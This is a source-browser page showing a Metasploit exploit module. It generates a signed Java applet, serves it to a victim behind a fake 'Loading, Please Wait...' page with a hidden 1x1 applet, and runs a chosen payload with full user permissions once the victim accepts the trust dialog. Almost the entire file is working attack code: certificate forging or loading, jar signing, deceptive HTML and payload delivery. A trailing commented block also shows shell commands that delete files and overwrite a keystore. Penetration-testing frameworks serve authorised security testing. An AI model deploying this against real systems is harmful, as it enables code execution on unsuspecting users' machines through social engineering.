Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / multi / browser / java_signed_applet.rb @ master

History | View | Annotate | Download (8.9 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13
require 'rex'
14
require 'rex/zip'
15

    
16
class Metasploit3 < Msf::Exploit::Remote
17
        Rank = ExcellentRanking
18

    
19
        include Msf::Exploit::Remote::HttpServer::HTML
20
        include Msf::Exploit::EXE
21

    
22
        def initialize( info = {} )
23
                super( update_info( info,
24
                        'Name'          => 'Java Signed Applet Social Engineering Code Execution',
25
                        'Description'   => %q{
26
                                        This exploit dynamically creates a .jar file via the
27
                                Msf::Exploit::Java mixin, then signs the it.  The resulting
28
                                signed applet is presented to the victim via a web page with
29
                                an applet tag.  The victim's JVM will pop a dialog asking if
30
                                they trust the signed applet.
31

    
32
                                On older versions the dialog will display the value of CERTCN
33
                                in the "Publisher" line.  Newer JVMs display "UNKNOWN" when the
34
                                signature is not trusted (i.e., it's not signed by a trusted
35
                                CA).  The SigningCert option allows you to provide a trusted
36
                                code signing cert, the values in which will override CERTCN.
37
                                If SigningCert is not given, a randomly generated self-signed
38
                                cert will be used.
39

    
40
                                Either way, once the user clicks "run", the applet executes
41
                                with full user permissions.
42
                        },
43
                        'License'       => MSF_LICENSE,
44
                        'Author'        => [ 'natron' ],
45
                        'Version'       => '$Revision$',
46
                        'References'    =>
47
                                [
48
                                        [ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ],
49
                                        # list of trusted Certificate Authorities by java version
50
                                        [ 'URL', 'http://www.spikezilla-software.com/blog/?p=21' ]
51
                                ],
52
                        'Platform'      => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
53
                        'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
54
                        'Targets'       =>
55
                                [
56
                                        [ 'Generic (Java Payload)',
57
                                                {
58
                                                        'Platform' => ['java'],
59
                                                        'Arch' => ARCH_JAVA
60
                                                }
61
                                        ],
62
                                        [ 'Windows x86 (Native Payload)',
63
                                                {
64
                                                        'Platform' => 'win',
65
                                                        'Arch' => ARCH_X86,
66
                                                }
67
                                        ],
68
                                        [ 'Linux x86 (Native Payload)',
69
                                                {
70
                                                        'Platform' => 'linux',
71
                                                        'Arch' => ARCH_X86,
72
                                                }
73
                                        ],
74
                                        [ 'Mac OS X PPC (Native Payload)',
75
                                                {
76
                                                        'Platform' => 'osx',
77
                                                        'Arch' => ARCH_PPC,
78
                                                }
79
                                        ],
80
                                        [ 'Mac OS X x86 (Native Payload)',
81
                                                {
82
                                                        'Platform' => 'osx',
83
                                                        'Arch' => ARCH_X86,
84
                                                }
85
                                        ]
86
                                ],
87
                        'DefaultTarget'  => 1,
88
                        'DisclosureDate' => 'Feb 19 1997'
89
                ))
90

    
91
                register_options( [
92
                        OptString.new('CERTCN', [ true,
93
                                "The CN= value for the certificate. Cannot contain ',' or '/'",
94
                                "SiteLoader"
95
                                ]),
96
                        OptString.new('APPLETNAME', [ true,
97
                                "The main applet's class name.",
98
                                "SiteLoader"
99
                                ]),
100
                        OptPath.new('SigningCert', [ false,
101
                                "Path to a signing certificate in PEM or PKCS12 (.pfx) format"
102
                                ]),
103
                        OptPath.new('SigningKey', [ false,
104
                                "Path to a signing key in PEM format"
105
                                ]),
106
                        OptString.new('SigningKeyPass', [ false,
107
                                "Password for signing key (required if SigningCert is a .pfx)"
108
                                ]),
109
                ], self.class)
110
        end
111

    
112

    
113
        def setup
114
                load_cert
115
                load_applet_class
116
                super
117
        end
118

    
119

    
120
        def on_request_uri( cli, request )
121
                if not request.uri.match(/\.jar$/i)
122
                        if not request.uri.match(/\/$/)
123
                                send_redirect( cli, get_resource() + '/', '')
124
                                return
125
                        end
126

    
127
                        print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
128

    
129
                        send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
130
                        return
131
                end
132

    
133
                p = regenerate_payload(cli)
134
                if not p
135
                        print_error("Failed to generate the payload.")
136
                        # Send them a 404 so the browser doesn't hang waiting for data
137
                        # that will never come.
138
                        send_not_found(cli)
139
                        return
140
                end
141

    
142
                # If we haven't returned yet, then this is a request for our applet
143
                # jar, build one for this victim.
144
                jar = p.encoded_jar
145

    
146
                jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)
147

    
148
                jar.build_manifest(:main_class => "metasploit.Payload")
149

    
150
                jar.sign(@key, @cert, @ca_certs)
151
                #File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
152

    
153
                print_status(
154
                        "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}.  "+
155
                        "Waiting for user to click 'accept'...")
156
                send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
157

    
158
                handler( cli )
159

    
160
        end
161

    
162

    
163
        def load_applet_class
164
                data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname)
165
                if datastore["APPLETNAME"]
166
                        unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
167
                                raise ArgumentError.new("APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")
168
                        end
169
                        siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
170
                        # Java strings are prefixed with a 2-byte, big endian length
171
                        find_me = ["SiteLoader".length].pack("n") + "SiteLoader"
172
                        idx = siteloader.index(find_me)
173
                        len = [datastore["APPLETNAME"].length].pack("n")
174
                        # Now replace it with the new class name
175
                        siteloader[idx, "SiteLoader".length+2] = len + datastore["APPLETNAME"]
176
                else
177
                        # Don't need to replace anything, just read it in
178
                        siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") {|fd| fd.read(fd.stat.size) }
179
                end
180
                @applet_class = siteloader
181
        end
182

    
183

    
184
        def load_cert
185
                if datastore["SigningCert"]
186
                        cert_str = File.open(datastore["SigningCert"], "rb") {|fd| fd.read(fd.stat.size) }
187
                        begin
188
                                pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])
189
                                @cert = pfx.certificate
190
                                @key  = pfx.key
191
                                @ca_certs = pfx.ca_certs
192

    
193
                        rescue OpenSSL::PKCS12::PKCS12Error
194
                                # it wasn't pkcs12, try it as concatenated PEMs
195
                                certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
196
                                @cert = OpenSSL::X509::Certificate.new(certs.shift)
197
                                @ca_certs = nil
198
                                while certs.length > 0
199
                                        @ca_certs ||= []
200
                                        @ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
201
                                end
202

    
203
                                if datastore["SigningKey"] and File.file?(datastore["SigningKey"])
204
                                        key_str = File.open(datastore["SigningKey"], "rb") {|fd| fd.read(fd.stat.size) }
205
                                else
206
                                        key_str = cert_str
207
                                end
208

    
209
                                # First try it as RSA and fallback to DSA if that doesn't work
210
                                begin
211
                                        @key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])
212
                                rescue OpenSSL::PKey::RSAError => e
213
                                        @key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])
214
                                end
215
                        end
216
                else
217
                        # Name.parse uses a simple regex that isn't smart enough to allow
218
                        # slashes or commas in values, just remove them.
219
                        certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
220
                        x509_name = OpenSSL::X509::Name.parse(
221
                                "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
222
                                )
223

    
224
                        @key  = OpenSSL::PKey::DSA.new(1024)
225
                        @cert = OpenSSL::X509::Certificate.new
226
                        @cert.version = 2
227
                        @cert.serial = 1
228
                        @cert.subject = x509_name
229
                        @cert.issuer = x509_name
230
                        @cert.public_key = @key.public_key
231
                        @cert.not_before = Time.now
232
                        @cert.not_after = @cert.not_before + 3600*24*365*3 # 3 years
233
                end
234
        end
235

    
236

    
237
        def generate_html
238
                html  = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
239
                html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
240
                html << %Q|<applet archive="#{get_resource.sub(%r|/$|, '')}/#{datastore["APPLETNAME"]}.jar"\n|
241
                vprint_line(html)
242
                if @use_static
243
                        html << %Q|  code="SiteLoader" width="1" height="1">\n|
244
                else
245
                        html << %Q|  code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
246
                end
247
                html << %Q|</applet>\n</body></html>|
248
                return html
249
        end
250

    
251

    
252
        # Currently unused until we ship a java compiler of some sort
253
        def applet_code
254
                applet = <<-EOS
255
import java.applet.*;
256
import metasploit.*;
257

    
258
public class #{datastore["APPLETNAME"]} extends Applet {
259
        public void init() {
260
                try {
261
                        Payload.main(null);
262
                } catch (Exception ex) {
263
                        //ex.printStackTrace();
264
                }
265
        }
266
}
267
EOS
268
        end
269
end
270

    
271
=begin
272

    
273
The following stores a bunch of intermediate files on the path to creating the signature.  The
274
ImportKey class used for testing was obtained from:
275
http://www.agentbob.info/agentbob/79-AB.html
276

    
277
        system("rm -rf signed_crap/*")
278
        File.open("signed_crap/cert.pem", "wb")     { |f| f.write(@cert.to_s + @key.to_s) }
279
        File.open("signed_crap/key.pem",  "wb")     { |f| f.write(@key.to_s  + @key.public_key.to_s) }
280
        File.open("signed_crap/unsigned.jar", "wb") { |f| f.write jar.to_s }
281

    
282
        File.open("signed_crap/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }
283
        system("openssl x509 -in signed_crap/cert.pem -inform PEM -out signed_crap/cert.der -outform DER")
284
        system("openssl pkcs8 -topk8 -nocrypt -in signed_crap/key.pem -inform PEM -out signed_crap/key.der -outform DER")
285
        system("java -cp . ImportKey signed_crap/key.der signed_crap/cert.der")
286
        system("mv ~/keystore.ImportKey ~/.keystore")
287
        system("jarsigner -storepass importkey signed_crap/jarsigner-signed.jar importkey")
288

    
289
        jar.sign(@key, @cert)
290
        File.open("signed_crap/signed.jar", "wb")   { |f| f.write jar.to_s }
291

    
292
=end